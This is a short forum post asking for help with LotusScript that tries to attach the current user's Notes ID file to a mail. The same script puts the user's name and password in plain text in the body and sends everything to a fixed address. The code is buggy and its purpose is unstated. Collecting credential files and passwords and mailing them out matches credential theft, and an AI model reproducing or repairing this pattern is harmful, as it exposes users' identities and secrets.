Attache file in mail

Hey all,

I want to attach the id file to a mail in LS but the object is always empty. I have created this

Dim Object as NotesEmbeddedObject

Dim key as String

Dim filename as variant

Dim BodyID as NotesRichTextItemx

Set Db = session.CurrentDatabase

Set Doc = new NotesDocument(Db)

Set BodyID = Doc.CreateRichTextItem(“BodyID”)

Key = session.GetEnvironmentString(“KeyFilename”,True)

filename = dir$(key,4)

Set Object = BodyID.GetEmbeddedObject(filename)

Buffer = Session.CommonUserName

Doc.User = Buffer

Doc.PassWord = password

Doc.Body = “The user is :” & Buffer & chr(10) & "The password is : " & password

Doc.SendTo = “ADT.MAIL@DEV5”

Doc.Send(False)

Whats wrong with it. Can somebody help me

Subject: Attache file in mail

sorry for the doubble post